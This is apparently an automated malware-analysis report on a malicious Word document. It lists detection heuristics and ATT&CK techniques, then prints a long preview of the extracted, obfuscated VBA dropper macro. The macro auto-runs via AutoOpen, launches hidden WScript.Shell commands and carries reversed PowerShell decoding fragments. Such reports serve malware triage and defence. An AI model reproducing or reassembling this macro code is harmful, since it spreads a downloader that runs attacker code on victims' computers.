MALICIOUS
330
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious Office document containing VBA macros. Heuristics indicate the use of `Shell()` and `WScript.Shell` for code execution, suggesting the macros are designed to download and execute a second-stage payload. The presence of a `macros.bas` file further supports this, and the ClamAV detection points to a known dropper.
Heuristics 11
-
ClamAV: Doc.Dropper.Agent-6475590-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6475590-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
End Select CreateObject("WScript.Shell").Run cziQwAXArFrF + HwSwiAuEil + QShiDj + YUPtscTKCN, vbHide Select Case OXKEi -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
End Select CreateObject("WScript.Shell").Run cziQwAXArFrF + HwSwiAuEil + QShiDj + YUPtscTKCN, vbHide Select Case OXKEi -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Function Sub AutoOpen() On Error Resume Next -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 60118 bytes |
SHA-256: 204c780a266062123b905d1f135e87787cb309cc5e59216ce161bbdbf33ed453 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
470 of 812 identifiers look randomly generated (e.g. 'AgZAEGAwAgZAUGAkBQNAIGAlBgZAMDAlBQZAADA3') — consistent with name-mangling obfuscation. Carved artifact contains 15 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "RCozosd"
Function aRMFJrMGiClVN()
On Error Resume Next
Select Case vTfQhF
Case 9903
FVoiB = Fix(82957)
CiWdE = Int(42217)
Case 32025
zkmpqw = JSopf
XzqcV = ChrW(iahtU)
End Select
kIGlvWsskZ = LOANuRZ + zsmZb("Z(@sClRG%H!YCYW45WY[c<)MAEDAiBgMAEGA3AwYAcDAzAwMAADA0AAMAkDAlBwMAYGAxAgNAkDAzAgZAQDAmBANAYDA2AQNAQDAwAANAADA0AwMAMDA2AAMAgDAmBAOAMGA2AQZAYDAzAQOAIGA5AgNAQGAyAwMAqWv(Hf", 7, 138)
Select Case vTfQhF
Case 9903
FVoiB = Fix(82957)
CiWdE = Int(42217)
Case 32025
zkmpqw = JSopf
XzqcV = ChrW(iahtU)
End Select
Select Case slKfBS
Case 11928
qlJTlk = Fix(68463)
Vwjlf = Int(34179)
Case 30301
wQXnFq = CbiNDH
OrLVD = ChrW(QhQAic)
End Select
bQbDjWNC = WCvdi + zsmZb("l)dfIKvXdQZC#nCMAgDAlBQNAQDA5AgNAUGA3AwMAUDA5AgYAIDAzAwYAEGA4AAOAUDAiBwNAgDA4AwYAYDAwAwNAYDA3AQNAADA3AgMAUDAxAgMAMGA3AAOA0!bMC", 6, 105)
Select Case slKfBS
Case 11928
qlJTlk = Fix(68463)
Vwjlf = Int(34179)
Case 30301
wQXnFq = CbiNDH
OrLVD = ChrW(QhQAic)
End Select
Select Case mkYkH
Case 32714
rUosbo = Fix(63418)
fBSaQk = Int(95483)
Case 91784
GjdbdI = zzSwln
ZdUii = ChrW(MfJdVW)
End Select
GdZDluWA = WnHLaWV + zsmZb("i94qGj[j9B$zmn2vn)w!%CWHKpOAADAkBwNAEDAiBAMAE%$<", 4, 19)
Select Case mkYkH
Case 32714
rUosbo = Fix(63418)
fBSaQk = Int(95483)
Case 91784
GjdbdI = zzSwln
ZdUii = ChrW(MfJdVW)
End Select
Select Case cojXtC
Case 46349
zsSTiJ = Fix(50471)
GHjii = Int(97046)
Case 41368
TDIOsP = zMzhWj
JmlZS = ChrW(ortOuW)
End Select
odcLfHARhS = roWZo + zsmZb("0VwRW9iH!Z<<o[nO<AkDAjBgMAUGAwAwMAMGAlBwYAUGAwAwYAgDA0AQZAMGA3AwYAQGA3AwMAYGAhBAZAIGA1AwMAADAiBwYAYDA0AAZAYDA0AgMAMDAhBwE<3", 4, 103)
Select Case cojXtC
Case 46349
zsSTiJ = Fix(50471)
GHjii = Int(97046)
Case 41368
TDIOsP = zMzhWj
JmlZS = ChrW(ortOuW)
End Select
Select Case FLFJF
Case 2643
JtBPS = Fix(94765)
CwAtwS = Int(66494)
Case 6967
jLzzc = CjDmW
coJpH = ChrW(RDuDG)
End Select
ziaUEKdzHfJ = SDWwd + zsmZb("ksAQYAMDA0AwNAkDA3AQMAEDAxAAMAYDA2AAOAQGAiBgNAUDAxAQOAMGA4AANAEGA2AANA!A!YB#nX0q2lv5%ikw2bfdln.lDiWF3U", 33, 68)
Select Case FLFJF
Case 2643
JtBPS = Fix(94765)
CwAtwS = Int(66494)
Case 6967
jLzzc = CjDmW
coJpH = ChrW(RDuDG)
End Select
Select Case nzQfqw
Case 87396
aERjw = Fix(50250)
lsvGY = Int(44304)
Case 64535
QNpiu = PVAXs
Laizi = ChrW(amIIH)
End Select
vwkMozaRZL = zjrFQh + zsmZb("$[cDA0AgYAcDA2AQOAcDA0AQMAUDAwAwMAIDAhBQZAcDAxAANAQGA4AwMAADAzAAMAkDAmBQMAcDAiBQZAMDAlBQOAEGAjq#CUos.Gi8DPG85@p1(WZs%]#", 26, 92)
Select Case nzQfqw
Case 87396
aERjw = Fix(50250)
lsvGY = Int(44304)
Case 64535
QNpiu = PVAXs
Laizi = ChrW(amIIH)
End Select
Select Case poKmJt
Case 67428
KpnXvP = Fix(21650)
AbbVuW = Int(75457)
Case 18707
Lrfni = mYHmz
NpJzBK = ChrW(tCTzp)
End Select
OiPXccpiw = zMUuzX + zsmZb("[sW0a33AIDAlBgMAYDA2AQMAYGA2AwNAQDAyAAMAUGAkBwNAADAzAwMAYQ(#Q0", 6, 50)
Select Case poKmJt
Case 67428
KpnXvP = Fix(21650)
AbbVuW = Int(75457)
Case 18707
Lrfni = mYHmz
NpJzBK = ChrW(tCTzp)
End Select
Select Case lfqNu
Case 17411
qYObIz = Fix(22644)
NOluIO = Int(8997)
Case 76984
SYcJzd = qYZNJ
vPENPw = ChrW(FITzQj)
End Select
aAWXciaj = SclwF + zsmZb("Cqjj$nYL3AwYAIGAlBAOAEDAmBAZAMDAmBwMAUGAjBwNAADAwAAZAYGA1AwMAQDAyAQOAQGA5AAOAADAzAAZAIDAiBwNAQDAkBwYAYDAwAQMAQDAiBQNAYDA4AANAEDA5fYqCq", 6, 121)
Select Case lfqNu
Case 17411
qYObIz = Fix(22644)
NOluIO = Int(8997)
Case 76984
SYcJzd = qYZNJ
vPENPw = ChrW(FITzQj)
End Select
Select Case dpzwOX
Case 79572
AnUlFo = Fix(49097)
sGfbB = Int(16814)
Case 4849
VljmiJ = fOUTU
noaIHY = ChrW(JaJkRi)
End Select
JPOIR = bjqGjqL + zsmZb("t_z5#kAnAYGAzAQZAIGA0AgYAIGAzAQZAEGAwAQZAADA5AwYAUDAyAwMAMGAxAwYAIDAlBgZAcDA3AgMAIGAkBQYAEGAlBgZAYGA4AAZAUGAhBwNAMDAzAwMAADAwA3_i%9z(CCGsv", 13, 118)
Select Case dpzwOX
Case 79572
AnUlFo = Fix(49097)
sGfbB = Int(16814)
Case 4849
VljmiJ = fOUTU
noaIHY = ChrW(JaJkRi)
End Select
Select Case fqYkO
Case 46655
jnhzC = Fix(57863)
pfhaww = Int(77531)
Case 67526
YdIaG = zXSNYc
XhfLn = ChrW(LjWLLD)
End Select
jsaoXL = sJRuUmA + zsmZb("1w5$LWZ!Ui]z0m#_%!CZB!BQOAkDAiBgYAMGAyAAOAYGAyH4E!", 5, 24)
Select Case fqYkO
Case 46655
jnhzC = Fix(57863)
pfhaww = Int(77531)
Case 67526
YdIaG = zXSNYc
XhfLn = ChrW(LjWLLD)
End Select
Select Case wlsUwF
Case 49758
QzzES = Fix(36412)
AsOCSb = Int(47471)
Case 86785
MYZHH = mcZzGB
ZLQutb = ChrW(hKFwY)
End Select
jpLUQSGlHr = JjplRX + zsmZb("bG$AAVAKnaAcDA0AgMAYDA5AAZAIDAlBQOAcDA1AANAkDA2AgMAMGAlBAMAQDA5AQMAgDAwAwMAkDA5AgZAQGAyAwMAcDAjBAZAIDAjBgMAQDA2AwMAwHA9AQPAcGA3AAeAoEA4AgbA4GAtBAVAsGAEBAUAsGAuBwLAEEAYBgNAgEAPBQbAUEA8BgM5435a05061b31%HRa!CR[A[4Wnp$jE]!acAQ3", 25, 189)
Select Case wlsUwF
Case 49758
QzzES = Fix(36412)
AsOCSb = Int(47471)
Case 86785
MYZHH = mcZzGB
ZLQutb = ChrW(hKFwY)
End Select
Select Case WHiQQ
Case 10923
DboifT = Fix(25997)
wvzCW = Int(63079)
Case 43140
TTrzF = OAuQV
twcLHU = ChrW(Mrljji)
End Select
zpGLvjIP = rUUTQas + zsmZb("%4RLiCSk))GHUzkWv@iUgNAEGA2AANAADAjBQOAADA0AQYAcDAmBwMAEDA1AQZAkDAyAQNAcDA3AAZAUGAzAAOAUDAjBgMAQDAkBQNAYDAxAwNAQGAkBQMAkDAkBQZAEGAxAgZAIGAwAAZAUGAlBQZAADA1AgN]09k3", 6, 138)
Select Case WHiQQ
Case 10923
DboifT = Fix(25997)
wvzCW = Int(63079)
Case 43140
TTrzF = OAuQV
twcLHU = ChrW(Mrljji)
End Select
Select Case KZoGjk
Case 55442
bMDjVb = Fix(67763)
wwMqEk = Int(10130)
Case 90720
fmYtim = WRqmMF
sHkjPX = ChrW(mZaOU)
End Select
KvrFESGkju = WScRE + zsmZb("_$fLAYU8.flvK(0AgZAEGAwAgZAUGAkBQNAIGAlBgZAMDAlBQZAADA3AgYAkDAlBQNAUDAkBwMAgDAmBgZAUDAxAQMAEDAmBAOAQGAwAwNAMGAhBwYAYDAiBgMAMGAhBgZAMDAjBgMAADAwAAMAYGAzAwMAMGAzAAOAcDAhBwMAcDAiBgZA_Q3[!j0iN_UYG)#4lp(", 20, 164)
Select Case KZoGjk
Case 55442
bMDjVb = Fix(67763)
wwMqEk = Int(10130)
Case 90720
fmYtim = WRqmMF
sHkjPX = ChrW(mZaOU)
End Select
Select Case YHlhP
Case 93347
nVUPP = Fix(6140)
HPGQWp = Int(2095)
Case 39114
NdQGRK = GiEAGk
qFTYfa = ChrW(hziSN)
End Select
nCzXJilpdX = fpXaUtI + zsmZb("k@hAn%05<VkBgYAUDA4AwMAQDAlBwYAgDAwAQZAQGAmBQMAEGAmBQZAgDAhBgNAkDAwAQOAYDAkBANAUGA5AgYAQDAmBQYAUDAzAQZAQDA4AwMAgDAkBAOAgDAmBANAkDAhBgZAUGAhBQMAUGAxAgMAADAxAwYAADA3AAOAIDAwAwMAYGAzAQYAgDA3AA<R9QaA]3iN7lYVKI4bR", 20, 179)
Select Case YHlhP
Case 93347
nVUPP = Fix(6140)
HPGQWp = Int(2095)
Case 39114
NdQGRK = GiEAGk
qFTYfa = ChrW(hziSN)
End Select
Select Case nOzjb
Case 61981
KLwPB = Fix(41330)
zCszV = Int(25556)
Case 91290
TnJVz = FjPKf
BfakmP = ChrW(aTVIVX)
End Select
NWLjHnujG = CasLT + zsmZb("%G_AZAEDAlBwNAIDAyAAZAUDAmBgZAgDAwAwMAgDAkBgNAYDA5AQMASiidv4NI3VKMEjdan", 18, 51)
Select Case nOzjb
Case 61981
KLwPB = Fix(41330)
zCszV = Int(25556)
Case 91290
TnJVz = FjPKf
BfakmP = ChrW(aTVIVX)
End Select
Select Case lGdnb
Case 62965
slKiZ = Fix(35241)
ZuaCV = Int(62535)
Case 85404
kcnTiw = wtHGIJ
BajjWA = ChrW(nufLv)
End Select
ZnrYh = TQpDMaH + zsmZb("K!sGGiG2dOKcXILPRQMAkDAxAAZAUGAiBAN)U", 3, 18)
Select Case lGdnb
Case 62965
slKiZ = Fix(35241)
ZuaCV = Int(62535)
Case 85404
kcnTiw = wtHGIJ
BajjWA = ChrW(nufLv)
End Select
Select Case inissw
Case 16880
cUzXA = Fix(76139)
SKqLGR = Int(3904)
Case 61969
XTaIO = HnVvi
nqmPh = ChrW(YvWjz)
End Select
LbUjWwXUm = hwGmWNw + zsmZb("(fs4%NXUtk2WK!%bpUzL0qLqbz8nRAYGAiBwNAQGA3AAZiWa%!", 6, 16)
Select Case inissw
Case 16880
cUzXA = Fix(76139)
SKqLGR = Int(3904)
Case 61969
XTaIO = HnVvi
nqmPh = ChrW(YvWjz)
End Select
Select Case BDMaVQ
Case 7042
omObGC = Fix(72369)
iHMuZm = Int(56385)
Case 92613
iuswI = afiQa
IPfuQu = ChrW(RlIhB)
End Select
liqohmAvoFS = svSMrZ + zsmZb("<A]<vfsB0gDAxAwMAUGAhBAZAYGAzAQNAgDA1AQOAEGAjBAZAUGAkBgNAIDA3AwYAIDAzAwYAADA2AQYAIDAmBgYAYGAiBQYAEDAwAgNAgDAyAwMAEGA0AQYAMGA0AAMAgDAwAgNAUDA3AgYAYGAiBQZAUDAkBQYAEGAzAgYAYGAzAQMAQGAmBAN!]", 3, 175)
Select Case BDMaVQ
Case 7042
omObGC = Fix(72369)
iHMuZm = Int(56385)
Case 92613
iuswI = afiQa
IPfuQu = ChrW(RlIhB)
End Select
Select Case VvlUYm
Case 10279
vtIwB = Fix(14917)
JBUJVj = Int(82393)
Case 93374
qbYdZC = mzsdt
tpQEBB = ChrW(OFjNR)
End Select
zduVFwJjvT = mBZJBOa + zsmZb("0@0kBAOAQDA2AwNAgDAxAwYAMDAmBwNAUDAlBwNAQGAhBgYAQDAiBAZAQGAlBgYAQGAzAQYAgDAmBQYAgDA1AAMAEGA4AQMAUGA0AwMAADA0AQOza9Hc2@R4i5A4]zHH0CiisnY9", 26, 108)
Select Case VvlUYm
Case 10279
vtIwB = Fix(14917)
JBUJVj = Int(82393)
Case 93374
qbYdZC = mzsdt
tpQEBB = ChrW(OFjNR)
End Select
Select Case aRRzAz
Case 11353
YwTfw = Fix(45403)
zijlG = Int(57389)
Case 44274
FSXfr = CTdia
WcYVz = ChrW(uSazK)
End Select
IfojV = cqvzS + zsmZb("ZZnR2fnnWQpzYw!C7IWfcf@WOWnCnGAlBgYAEDA1AwMAIDA4AQNAcDAhBQNAcDAiBQOAMGAhBANAIGA5AQOAQDA5AwMAUGAkBAOAgDAjBgMAgDA0AgNAQDAyAgNAADA0AAZAQDA2AQMAIGAwAQNAgDA2AgZAgDAzAAZAEDA3AgYAcDAhBANAMGAyAwNAEM%iRD9UAH#", 11, 160)
Select Case aRRzAz
Case 11353
YwTfw = Fix(45403)
zijlG = Int(57389)
Case 44274
FSXfr = CTdia
WcYVz = ChrW(uSazK)
End Select
Select Case uKRnLY
Case 78117
oQQTB = Fix(75277)
lZsaGD = Int(57007)
Case 87332
aYPMjP = wWQASb
nFwlH = ChrW(IzQnok)
End Select
TdMwtmlGXbm = GGYuQ + zsmZb("VH[As) ) ))))732..252( K- GnirtsErUCes-OTtrevnOC| '==AAlBQNAIDAhBAZAMDA3AAOAQGA0AgNAEDAzAgMAQDA0AwYAIDA0AwYAMDA4AQYAgDAia(_ph[ni_B_", 12, 116)
Select Case uKRnLY
Case 78117
oQQTB = Fix(75277)
lZsaGD = Int(57007)
Case 87332
aYPMjP = wWQASb
nFwlH = ChrW(IzQnok)
End Select
Select Case MRKSoX
Case 55145
bXnSit = Fix(67899)
wACmWc = Int(97314)
Case 56172
wzfKRI = HNYSzI
iTfDhp = ChrW(USihHq)
End Select
LGdGv = iuanQRX + zsmZb("..WtwBQNAIGA1AgYAEGA4AQYAMDA0AAZAADAjBQNAQGAkBgMAEDA5AwNAgDAjBAOAgDAkBwNAIDA3AgMAYDAhBwMAUDAxAwMAgDAwAAMAUGAyAwMAIGAkBAOAQDAmBgYAIDA0AQMAQGAyAwYAEGAmBQZAUGAhBQMAMDAyAQZAYDAzAQYAgDA4Ag)FUZ8jib[ii(BF$Hi)", 19, 178)
Select Case MRKSoX
Case 55145
bXnSit = Fix(67899)
wACmWc = Int(97314)
Case 56172
wzfKRI = HNYSzI
iTfDhp = ChrW(USihHq)
End Select
Select Case prZpo
Case 45506
ZzrQN = Fix(87902)
zZscpp = Int(26336)
Case 48945
ZtNrF = THTbAA
DBzTAT = ChrW(DFVJqz)
End Select
lkpqITwWvwj = iEjThn + zsmZb("a%BQNAkDA3AQYAcDAhBM_sn<)$(H[b4pC[0", 17, 17)
Select Case prZpo
Case 45506
ZzrQN = Fix(87902)
zZscpp = Int(26336)
Case 48945
ZtNrF = THTbAA
DBzTAT = ChrW(DFVJqz)
End Select
Select Case wwvQT
Case 3519
ISZovd = Fix(44865)
JXZTmF = Int(36965)
Case 72383
KNEQjn = bZUUz
tGNOi = ChrW(LzczI)
End Select
YZirUZB = vVEYHP + zsmZb("G0bwF[Oh$bkGAkBgZAIDAxAwNAUDAkBwYAIDAyAgZAQGA5AQZAQGA5AwNAgDA5AQNAYDAhBwNAUDA5AQMAUDAkBAZAQDAhBQYAkDAwAQOAgDA5AQNAADA0AAZAADAmBwNAgDAwAQZAIGA2AgYAIDAxAgYAM)B2nk5WqA0G8@C", 15, 144)
Select Case wwvQT
Case 3519
ISZovd = Fix(44865)
JXZTmF = Int(36965)
Case 72383
KNEQjn = bZUUz
tGNOi = ChrW(LzczI)
End Select
Select Case RjkSw
Case 3947
dokajR = Fix(35681)
vARsV = Int(29854)
Case 19374
zYfRG = rcfqN
SjGJb = ChrW(VRZGs)
End Select
ovsmHsAipuo = vrISHLc + zsmZb("b%MY[MAQGA5AQNAEGAzAgNAkDA0AQNAIGAhBAZAgDAxAAOAEGAkBgZAkDAioFKApoa<", 9, 54)
Select Case RjkSw
Case 3947
dokajR = Fix(35681)
vARsV = Int(29854)
Case 19374
zYfRG = rcfqN
SjGJb = ChrW(VRZGs)
End Select
Select Case TlPCAn
Case 79153
iSOCN = Fix(45672)
SFJtht = Int(60440)
Case 22454
zYJqz = cDHDQl
UKwca = ChrW(OwMDnh)
End Select
BYVOiiP = bKiIfj + zsmZb("ZFYiM.4G<_D5EeBMeMTeg.]LAHSRaM.SEcIVreSPOrETNi.eMITNUr[(::]lahsRAm.sEcIvRespoREtni.eMiTNUr[ ( ( )''niOj-'X'+]3,1[)ECNereFerPEsobrEV$]GnIRtS[( (&$WCjzYv!_ddKAFH_p6kM<@H", 24, 131)
Select Case TlPCAn
Case 79153
iSOCN = Fix(45672)
SFJtht = Int(60440)
Case 22454
zYJqz = cDHDQl
UKwca = ChrW(OwMDnh)
End Select
Select Case XSTwJ
Case 29516
YzvwbW = Fix(24735)
MZXwh = Int(8166)
Case 75132
KPwfwl = waXwar
ZLoZdb = ChrW(VLAStj)
End Select
GoQADQo = SqCjvn + zsmZb("wiFq (hsA4Vc9a!RWAhBwMAkDAiBgZAMGAjBQMAQDAwAgMAMGAwAQYAEDAwAQNAIDA2AANAUGAwAgMAI(j0a", 5, 63)
Select Case XSTwJ
Case 29516
YzvwbW = Fix(24735)
MZXwh = Int(8166)
Case 75132
KPwfwl = waXwar
ZLoZdb = ChrW(VLAStj)
End Select
Select Case XzBFq
Case 48171
NOdVdS = Fix(6211)
FtjpV = Int(27153)
Case 49833
hifZIa = nOmvF
jqWfrr = ChrW(GiSdj)
End Select
qUkFjD = KsHKkiJ + zsmZb("KGcwd!Y_wMAgDAhBANAADAhBQZAIDA0AAZAgDAiBQOAUDA3AQOAYDA3AwNAQDAmBgZAEGAwAQOAMDA3AQMAUGA3AgMAEDAiBQNAUDAi$Y9VMK28k_W0$", 15, 94)
Select Case XzBFq
Case 48171
NOdVdS = Fix(6211)
FtjpV = Int(27153)
Case 49833
hifZIa = nOmvF
jqWfrr = ChrW(GiSdj)
End Select
Select Case WHuwrS
Case 93659
KlSEE = Fix(78612)
AwWcp = Int(96042)
Case 97654
kPsuTw = bBMdjX
UEpqJ = ChrW(uuwQU)
End Select
BBADO = sAjZhE + zsmZb("q@B$_WAQOAUDAxAQZAYDA2AgMAYGAxAwYAYDA1Agiz@dLA%Z3L$", 12, 34)
Select Case WHuwrS
Case 93659
KlSEE = Fix(78612)
AwWcp = Int(96042)
Case 97654
kPsuTw = bBMdjX
UEpqJ = ChrW(uuwQU)
End Select
Select Case VtiZKE
Case 48111
SjMbVd = Fix(67962)
EOfwv = Int(51585)
Case 97865
zoSwC = HiSpwo
SsUiX = ChrW(HavRz)
End Select
mKfbBd = wPzMj + zsmZb("]69lGhHEGA5AQOAIDAlBAOAkDA4AQOAUGAhBwNAQGA3AQOAQGAlBQZAIDA4AgZAcDA4AwY%.F", 4, 63)
Select Case VtiZKE
Case 48111
SjMbVd = Fix(67962)
EOfwv = Int(51585)
Case 97865
zoSwC = HiSpwo
SsUiX = ChrW(HavRz)
End Select
Select Case zzEjw
Case 55280
ArqQj = Fix(91000)
jncGdK = Int(53968)
Case 21854
hGHkzE = OOYQPd
OoOvjQ = ChrW(ooVdb)
End Select
ZrVVXmOf = LquAiqu + zsmZb("f4VAFpCaDAzAAOAQGAyAgNAEGAhBAOAkDAzAAMAMDA3AQNAgDAmBgMAIDAhBQOAYGA0AAZAUDA3AAOAYGAyAQYAYDAkBAOAMDAyAQNNA9H_IAsvwD9)", 14, 94)
Select Case zzEjw
Case 55280
ArqQj = Fix(91000)
jncGdK = Int(53968)
Case 21854
hGHkzE = OOYQPd
OoOvjQ = ChrW(ooVdb)
End Select
Select Case LQKiN
Case 47934
bVKRj = Fix(36589)
pudipT = Int(69376)
Case 87918
lGvUT = KzvFvr
itttBE = ChrW(pSSId)
End Select
NJSqW = bqvvj + zsmZb("0dBUi9kA$UWXpY8EOAYDAwAwNAMGAxAQOAMDAzAAMAYDAzAgMAkDAiBgZAMGA1AQYAgDAzAgZAADAkBgYAIDAlBwMAIGA0l", 2, 77)
Select Case LQKiN
Case 47934
bVKRj = Fix(36589)
pudipT = Int(69376)
Case 87918
lGvUT = KzvFvr
itttBE = ChrW(pSSId)
End Select
Select Case wCwqRT
Case 82682
Vjikf = Fix(82409)
KpJPct = Int(34646)
Case 6349
DAlVB = lwBWj
Qlqdv = ChrW(IPAMZ)
End Select
NWDozEBfmEs = aQOzj + zsmZb("s!%32fYCE5A<HEL!4FD)DAhBQOAYDAhBQZAEGA3AAOAUDAwAAMAQDAzAwMAMDAwAQOAADAkBQYAQGAkBQYAUDA2AwNAIGAwAQMAEGAlBQYAQDAyAwNAkDAhBgNAIDAjBAMAQDAmBQMAUDA0AwNAMGAjBgYAgD!420nC#%.%V3K242", 17, 137)
Select Case wCwqRT
Case 82682
Vjikf = Fix(82409)
KpJPct = Int(34646)
Case 6349
DAlVB = lwBWj
Qlqdv = ChrW(IPAMZ)
End Select
Select Case ifnmNM
Case 12794
RBwOH = Fix(24082)
iJMzI = Int(86751)
Case 60231
NfQFJ = ipnzs
riZvoJ = ChrW(BjKsAn)
End Select
zisiHR = pSwjh + zsmZb("iGNAMGAiBAZAkDAwAwMAYDA2AQYAcDA0AgYAkDAiBQOAMDAzAgZAQGAzAQYAQGA3AAMAIDAjBQNAYGAjBANAYGAlBwNAgDA1AgMAkDAlBAOAMGAlBANAQDAyAAZAgDAwAgMAYDAzAwMAYDAjBwYAMGA0AgYAMDA1AwYAkDAkBQMAIDAyAgNAMDAjBwNAUGA3AwMAUclAkisU25h0jsGRKiA4", 20, 195)
Select Case ifnmNM
Case 12794
RBwOH = Fix(24082)
iJMzI = Int(86751)
Case 60231
NfQFJ = ipnzs
riZvoJ = ChrW(BjKsAn)
End Select
Select Case EiXjvc
Case 33637
tWLSqL = Fix(94418)
olfbQ = Int(70880)
Case 60046
WFAkWl = HjazSS
KCbTtL = ChrW(ncrlwG)
End Select
mBNRcw = TZnGi + zsmZb("9EMi0FkAMAcDA2AgMAUGAjBQOAUGA2AwYAADAkBwYAYGAzAQZAkDAmBQOAUDA3AgYAMDA5AQNAEGAzAANAYDA0AQYvbA<U", 6, 82)
Select Case EiXjvc
Case 33637
tWLSqL = Fix(94418)
olfbQ = Int(70880)
Case 60046
WFAkWl = HjazSS
KCbTtL = ChrW(ncrlwG)
End Select
Select Case QXjNR
Case 40512
mVXXj = Fix(4396)
NTavWO = Int(77751)
Case 25210
JGoTiz = XTZtjU
katfY = ChrW(YlDqw)
End Select
IpiIzNDpfzV = NIRUzfM + zsmZb("GwNhlW8qH<%iZl<2(H)a!HnKPZGAiBAMAgDA3AANAADAlBQZAYGAkBwYAEDAlBQNAYDA1AANAYDAkBgMAUDAlBQOAkDAyAwMAQGAmBQNAADAyAgYAYDAlBwNAcDAzAQZAkDA2AgNAEGAiBQOAYDAlBAMAEDA0A!B_AVzaIBvh", 12, 132)
Select Case QXjNR
Case 40512
mVXXj = Fix(4396)
NTavWO = Int(77751)
Case 25210
JGoTiz = XTZtjU
katfY = ChrW(YlDqw)
End Select
Select Case UrhCL
Case 76952
PnQpq = Fix(53344)
zPKaqp = Int(37511)
Case 11600
Uztwu = jtuIr
LFBLj = ChrW(vTpjZj)
End Select
MpCjZ = AEFLYSD + zsmZb("n.in8C43240f3476111d29467'($(edOCINuCOLlAlaBoLGoTGNiRtSerucEs::]lahSraM.sEcIIiCoilv", 8, 70)
Select Case UrhCL
Case 76952
PnQpq = Fix(53344)
zPKaqp = Int(37511)
Case 11600
Uztwu = jtuIr
LFBLj = ChrW(vTpjZj)
End Select
Select Case EbSFrM
Case 3848
riXhw = Fix(79001)
BIZjR = Int(29548)
Case 77444
vhHpc = MdTWMZ
fUpsOM = ChrW(wOjrw)
End Select
pCwCwVi = zOHBKLi + zsmZb("ItFAIGA4AAOAYGAkBAMAEDAhBAMAEGAzAgMAYGAiWP_KARd2@IH@LLBFBj]0ZZpU", 26, 36)
Select Case EbSFrM
Case 3848
riXhw = Fix(79001)
BIZjR = Int(29548)
Case 77444
vhHpc = MdTWMZ
fUpsOM = ChrW(wOjrw)
End Select
Select Case Jlswz
Case 2800
thfdM = Fix(74275)
jFGWv = Int(83637)
Case 21436
brzbR = FcQbdG
SFKzdi = ChrW(lLzmd)
End Select
UAZmownkmVD = wHfYPN + zsmZb("finbq#Y(8v<Y8ZFGYIGAhBwNAIDAhBgZAYGA0AQZAYDA4AANAIGAlBwMAEDAlBANAIGAzAwNAYDAiBQNAEGAjBQZAIGA4AwYAYDAxAANAgDAiBgYAYDAmBQYAMDAwAQNAkDA0AAZAQDAiBAZAMDAlBwNAUGA1AAOAYDAwAgNAEGAwAQNAEDAjBgYAADAzAAZAYGA4AjBf3FpwniVH4VF00qj", 19, 181)
Select Case Jlswz
Case 2800
thfdM = Fix(74275)
jFGWv = Int(83637)
Case 21436
brzbR = FcQbdG
SFKzdi = ChrW(lLzmd)
End Select
Select Case Nokkl
Case 27495
LSJUz = Fix(28834)
UMERJ = Int(95620)
Case 77360
kqnsjv = vYEwwk
QkAfF = ChrW(cfwzN)
End Select
abNWOv = oLIUsiw + zsmZb("ZFA$Y).!2MAUDAjBAZAIGAkBQOAMGAhBQOAIGA2AQMAMDAxAwYAMDA4AwMAUDAkBAZAUGAmBAOAIDAzAgYAMGAkBQNAQGA0AANAIGAkBgNAQDA1AgZAQDAmBQZAYDAlBwYAkDAkBgYAMGA0AQZAUDAlBAZAYGA0AgZAMDAxAQNAMDA2AgNAcDA2AQZAEDA3AgYAUGAkB]", 2, 191)
Select Case Nokkl
Case 27495
LSJUz = Fix(28834)
UMERJ = Int(95620)
Case 77360
kqnsjv = vYEwwk
QkAfF = ChrW(cfwzN)
End Select
Select Case LzOIi
Case 37557
iVsDA = Fix(15279)
MtwlZl = Int(5215)
Case 81753
jnFnKT = bOXNT
wGXhE = ChrW(ZzIDd)
End Select
GrUEvdjJEIv = sHddv + zsmZb("!kM9zYB_0jaVResPorEtni.eMItnur[(EKOvNi.)eMAN.]4[)(srzq_YWK(Akp[n0ikH34]", 20, 41)
Select Case LzOIi
Case 37557
iVsDA = Fix(15279)
MtwlZl = Int(5215)
Case 81753
jnFnKT = bOXNT
wGXhE = ChrW(ZzIDd)
End Select
Select Case pUTbs
Case 87571
TsAsj = Fix(67958)
jOKFK = Int(19485)
Case 43253
NYmSX = iEWbQv
lsdXWX = ChrW(qUdGFC)
End Select
